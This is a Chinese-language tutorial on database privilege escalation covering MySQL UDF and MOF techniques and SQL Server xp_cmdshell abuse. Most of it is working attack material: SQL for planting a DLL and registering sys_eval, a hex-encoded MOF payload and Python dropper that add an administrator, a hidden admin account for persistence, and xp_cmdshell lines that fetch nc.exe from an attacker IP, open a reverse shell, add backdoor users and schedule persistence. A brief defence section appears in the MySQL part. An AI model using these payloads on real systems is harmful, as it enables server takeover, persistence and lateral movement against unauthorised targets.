sql提权
sql提权
MySQL提权
MySQL数据库的提权主要分为两种:Mof和UDF(常用)
UDF提权
UDF全称为user defined function,用户自定义函数
用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数
UDF提权的作用
渗透过程中,拿下一台低权限的主机shell(尤其是windows)时,有些操作无法进行,而此时本地恰好存在mysql数据库,且mysql是root权限 (windows中mysql一般都是管理员权限),就可以通过新建管理员用户等操作实现提权即udf提权,也可以称为通过mysql获得管理员权限
UDF提权条件:
| 条件 | 要求 | 含义 | 检查命令 |
|---|---|---|---|
| 1. MySQL高权限账号 | root 或有 FILE + CREATE FUNCTION 权限 |
需要能执行文件读写操作的账户。FILE权限允许读写服务器文件,CREATE FUNCTION权限允许创建自定义函数。普通用户通常没有这些权限,只有DBA或root才有。 |
SELECT user(); SELECT file_priv FROM mysql.user WHERE user=USER(); |
| 2. secure_file_priv 为空 | 不能是 NULL 或具体路径 |
这个是MySQL的安全开关。为空表示”无限制”,可以向任何目录写文件;如果是具体路径(如/tmp/)就只能写那个目录;如果是NULL则完全禁止读写文件。UDF提权需要向插件目录写DLL,所以必须是空。 |
SHOW VARIABLES LIKE 'secure_file_priv'; |
| 3. plugin_dir 可写 | MySQL服务进程有权限写入插件目录 | 即使secure_file_priv为空,如果MySQL进程没有操作系统的写入权限,也无法创建文件。需要确保MySQL运行账户(Windows上是NETWORK SERVICE或LocalSystem,Linux上是mysql用户)对插件目录有写权限。 |
SHOW VARIABLES LIKE 'plugin_dir'; 手动测试:SELECT 'test' INTO DUMPFILE 'plugin目录/test.txt'; |
| 4. MySQL版本 | 5.1及以上:使用plugin_dir 5.0及以下:导出到系统目录 | MySQL 5.1引入了插件目录plugin_dir,UDF文件必须放这里。5.0及以下版本没有这个目录,需要把DLL导出到系统目录(如Windows的system32或Linux的/usr/lib)。不同版本导出路径完全不同。 |
SELECT version(); |
| 5. 操作系统兼容 | Windows用.dll,Linux用.so,且位数匹配 |
UDF文件是编译好的动态链接库,Windows上是.dll,Linux上是.so。32位的MySQL只能加载32位的UDF,64位MySQL只能加载64位的UDF。位数不匹配会报错errno: 193(文件格式无效)。 |
SHOW VARIABLES LIKE 'version_compile_machine';(x86=32位,x86_64=64位) |

(可以看到这里的secure_file_priv为空,能进行UDF提权)
动态链接库
动态链接库:是把程序代码中会使用的函数编译成机器码,保存在.dll文件中。在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用
(注:在linux中对应为so文件)
1 | 查询插件目录: |

动态链接库文件:

dll文件上传路径
udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:
| 版本 | 路径 |
|---|---|
| MySQL < 5.0 | 导出路径随意 |
| 5.0 <= MySQL < 5.1 | 需要导出至目标服务器的系统目录(如:C:\windows\system32\) |
| 5.1 < MySQL | 必须导出到MySQL安装目录下的lib\plugin目录下(高版本mysql默认不存在lib\plugin目录,需要自己创建) |
版本大于5.1的时候,lib\plugin文件夹的创建方法:
1 | select @@basedir; |
获取dll文件和上传至相应目录下
1.可使用sqlmap获取dll文件
2.可使用msf获取
3.上传dll文件
创建一张临时表用来存放DLL/SO文件的十六进制内容
1
CREATE TABLE temp_udf(udf blob);
插入
转化成十六进制方法很多这里我们使用mysql
1
select hex(load_file('C:/udf,dll')) into dumpfile 'c:/udf.txt';
注:outfile导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作
插入
其中$binaryCode为已经转换好的十六进制内容,$binarycode前加0X
1
INSERT into temp_udf values (CONVERT($binaryCode,CHRA));
导出
将udf文件导出至对应位置:
1
SELECT * FROM temp_udf INTO DUMPFILE "/usr/lib64/mysql/plugins/udf.dll";
注:此时如果出现了错误Can’t create/write to file是因为没有lib/plugin目录into dumpfile也不能创建文件夹所以报错
注册该函数
1 | CREATE FUNCTION 函数名 |
使用函数
例如注册了sys_eval函数,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数
1 | SELECT sys_eval('你要执行的系统命令'); |
工具使用

当得到对方mysql数据库的账号和数据库密码时,填写host和账号密码数据库类型(DB),可直接连接对方的数据库,连接后:

可在下方自带命令这里选择想要导出的moonudf.dll文件中的命令,比如这里选择了sys_eval,将dll文件绑定sys_eval函数,将其导出到指定插件文件目录(这里是D:/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin//moonudf.dll) ,导出后 对方数据库的插件目录下就会出现我们导出的moonudf.dll文件

在对方数据库下注册该moonudf.dll:
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'moonudf.dll'; |

注册成功后就能使用我们事先编译好的sys_eval函数进行提权了
1 | SELECT sys_eval('你要执行的系统命令'); |
示例:这里执行了select sys_eval(‘whoami’);

也可在工具中直接执行命令:

UDF提权流程:
| 步骤 | 做什么 | 核心命令 |
|---|---|---|
| 1 | 获取MySQL高权限账号 | 拿到root密码(获取对方数据库账号和密码) |
| 2 | 检查环境 | SHOW VARIABLES LIKE 'secure_file_priv'(必须为空) |
| 3 | 准备UDF文件 | 编译好的DLL(内含sys_eval函数) |
| 4 | 上传DLL到插件目录 | SELECT ... INTO DUMPFILE 'plugin目录/moonudf.dll' |
| 5 | 注册函数 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'moonudf.dll' |
| 6 | 执行系统命令 | SELECT sys_eval('whoami') |
1 | MySQL高权限账号 → 写DLL到插件目录 → 注册函数 → 调用函数执行系统命令 → 提权成功 |
mof提权
mof简介:
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在windows 2003及更低版本windows中,nullevt.mof文件存储在c:/windows/system32/wbem/mof/目录下,windows系统每隔五秒就会以system权限执行一次该文件,去监控进程创建和死亡,执行成功会移动到该目录下的good文件夹,执行失败移动到bad文件夹

原理
把恶意MOF文件写入C:\Windows\System32\wbem\mof\目录,Windows会自动以SYSTEM权限执行它。
利用条件
mof提权需要在system32文件夹下写文件,条件较为严苛:
- windows 2003及以下版本
- mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
- secure_file_priv参数不为null
利用
1 | #pragma namespace("\\\\.\\root\\subscription") |
在添加用户之后,还需要将用户加入本地管理员组,将脚本中的net.exe user L1uxsn admin123 /add\换成:
1 | net localgroup Administrators L1uxsn /add |
脚本文件的上传思路与udf提权类似,大概三种:
直接上传然后dumpfile
1
select load_file("C:/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
直接将脚本的16进制编码dumpfile
1
select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e65786520757365722061646d696e2061646d696e202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';
数据库允许远程链接的情况下可以使用py写入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45#Python3
import MySQLdb
conn=MySQLdb.connect(host="192.168.111.6",user="root",passwd="root")
payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
'''
ascii_payload = ''
for each_chr in payload:
ascii_payload += str(ord(each_chr)) + ','
ascii_payload = ascii_payload[:-1]
cur = conn.cursor()
sql = "select char(%s) into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload
cur.execute(sql)
conn.close()
注意:
服务器会每五秒会循环执行之前的mof文件中的内容,在服务器被mof提权后,需要解决系统继续运行恶意代码的问题:
1 | net stop winmgmt |
工具使用:

同样的连接目标数据库

进入后可直接执行命令,例如这里输入net user cong$ 12456 /add & net localgroup administrators cong$ /add (创建一个隐藏管理员用户,创建成功后即使原来的入口,如Webshell、MySQL连接被修复,仍然可以通过这个隐藏用户重新进入系统。这是权限维持的常用手段)
| 部分 | 含义 |
|---|---|
net user cong$ 12456 /add |
创建一个用户名为 cong$,密码为 12456 的本地用户 |
& |
连接符,前一条命令执行完后接着执行后面的命令 |
net localgroup administrators cong$ /add |
将 cong$ 用户添加到 Administrators(管理员组) |

执行成功后在mof目录下发现导出成功的system.mof文件

- 如果 MOF 文件在
good文件夹 → 执行成功 - 如果 MOF 文件在
bad文件夹 → 执行失败(格式错误或系统不支持) - 如果
system.mof还留在原目录 → 没有被处理(WMI 服务问题或系统不支持)
隐藏用户的利用:
| 利用方式 | 适用场景 | 命令/操作 |
|---|---|---|
| 远程桌面登录 | Windows Server(开启了3389端口) | mstsc 输入 cong$ + 密码登录 |
| IPC$ 空会话连接 | Windows主机(135、445端口开放) | net use \\目标IP\ipc$ "12456" /user:"cong$" |
| PsExec 远程执行 | Windows主机,管理员权限 | psexec \\目标IP -u cong$ -p 12456 cmd |
| 计划任务创建 | 需要定时执行命令 | schtasks /create /s 目标IP /u cong$ /p 12456 ... |
| WMI 远程控制 | Windows主机 | wmic /node:目标IP /user:cong$ /password:12456 process call create "cmd.exe" |
| SMB 文件共享访问 | 需要访问共享文件 | net use Z: \\目标IP\share /user:cong$ 12456 |
防御手段
从上面提到的提权过程可以知道,这些权限提升基本都是mysql的配置不当导致的,因此,可以有如下防御措施:
- 降低数据库服务启动用户的权限
- 如果非必要,可以删除插件目录或限制插件目录的权限
- 正确配置secure_file_priv变量
SQL server提权
常见的 SQL Server 提权方式
| 方式 | 原理 | 关键条件 |
|---|---|---|
| 存储过程执行命令 | 利用 xp_cmdshell、xp_regwrite 等高危存储过程执行系统命令。 |
SQL Server 服务账户(如 NT SERVICE\MSSQLSERVER)需要有较高权限;xp_cmdshell 通常默认禁用,但可能被管理员误开启。 |
| CLR 程序集 | 上传并执行 C# 等编写的 .NET 代码(CLR 程序集),运行系统命令。 | 需要 sysadmin 权限开启 CLR;SQL Server 2017+ 默认禁用。 |
| 代理作业 (SQL Agent Job) | 创建 SQL Server Agent 作业,以服务账户权限执行命令。 | SQL Server Agent 服务正在运行;用户有创建作业的权限。 |
| OLE 自动化 | 利用 sp_OACreate、sp_OAMethod 等存储过程创建 COM 对象(如 WScript.Shell)执行命令。 |
相关存储过程默认禁用,需手动开启。 |
| 沙盒模式绕过 | 利用 Access 链接服务器或 Jet 引擎的沙盒模式配置缺陷执行任意代码。 | 通常出现在较旧版本(2000、2005)或配置不当的环境。 |
| 数据库链接服务器 | 通过已配置的链接服务器,跳转到其他更高权限的数据库实例。 | 存在链接到高权限服务器的配置。 |
条件:
- 服务器开启数据库服务
- 获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)
xp_cmdshell
简介:xp_cmdshell 是 SQL Server 中一个扩展存储过程,它的全称是 Extended Procedure for Command Shell。它的核心功能只有一个:允许 T-SQL 语句直接执行 Windows 操作系统的命令。
简单来说,就是让你在 SQL Server 的查询窗口里,像在 CMD 命令行里一样,运行 ipconfig、whoami、net user 等任何系统命令
查看 xp_cmdshell 状态: EXEC sp_configure 'xp_cmdshell';

| 列名 | 值 | 含义 |
|---|---|---|
name |
xp_cmdshell | 配置项名称 |
minimum |
0 | 最小值可以是0 |
maximum |
1 | 最大值只能是1(开关型配置) |
config_value |
1 | 当前设置的值(你配置成什么) |
run_value |
1 | 当前正在运行的值(实际生效的值) |
具体利用步骤:
- 1.探测是否有权限开启/使用 xp_cmdshell
1 | -- 1. 检查当前用户是否为 sysadmin |

- 2.执行系统命令(信息收集)
1 | -- 收集服务器基本信息 |

如图,这里利用了xp_cmdshell查询了计算机名和网络配置信息
3.上传工具或建立后门
如果服务账户有写权限,攻击者可以:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15-- 下载恶意程序(使用certutil或bitsadmin)
EXEC xp_cmdshell 'certutil -urlcache -f http://攻击者IP/nc.exe C:\temp\nc.exe';
-- 执行反弹shell
EXEC xp_cmdshell 'C:\temp\nc.exe 攻击者IP 4444 -e cmd.exe';
-- 添加用户(如果权限够)
EXEC xp_cmdshell 'net user backdoor P@ssw0rd /add';
EXEC xp_cmdshell 'net localgroup administrators backdoor /add';
-- 开启远程桌面
EXEC xp_cmdshell 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f';
-- 创建计划任务持久化
EXEC xp_cmdshell 'schtasks /create /tn "SystemCheck" /tr "C:\temp\backdoor.exe" /sc daily /st 09:00 /f';
反弹shell具体释义:
C:\temp\nc.exe 192.168.134.128 4444 -e cmd.exe
| 部分 | 含义 | 作用 |
|---|---|---|
C:\temp\nc.exe |
工具 (Netcat) | 这是一个网络工具,像一根“网线”,负责在网络上发送和接收数据。 |
192.168.134.128 |
攻击者的IP地址 | 这是你要连接的“目的地”,也就是你的Kali Linux电脑。 |
4444 |
端口号 | 这像一扇“门”。攻击者的电脑必须在这扇“门”上等着,连接才能成功。 |
-e |
参数 | 这是Netcat的一个关键选项,意思是“执行” (execute)。 |
cmd.exe |
程序 | 这是Windows的命令解释器,也就是我们常说的“黑框框”命令行。 |
1 | 1.目标服务器上是没有C:\temp\nc.exe这个文件的,所以要利用这个命令就先要在自己的kali上面开启python服务 (python3 -m http.server 80) |


(这里可以看到已经连接上了我的mssqlserver数据库上了)
注:Kali Linux 预装了Windows版本的 nc.exe,路径是:/usr/share/windows-binaries/nc.exe

攻击思路一般是:
1 | SQL注入点 → 判断权限是否为sysadmin → 开启xp_cmdshell → 执行系统命令 → 控制服务器 |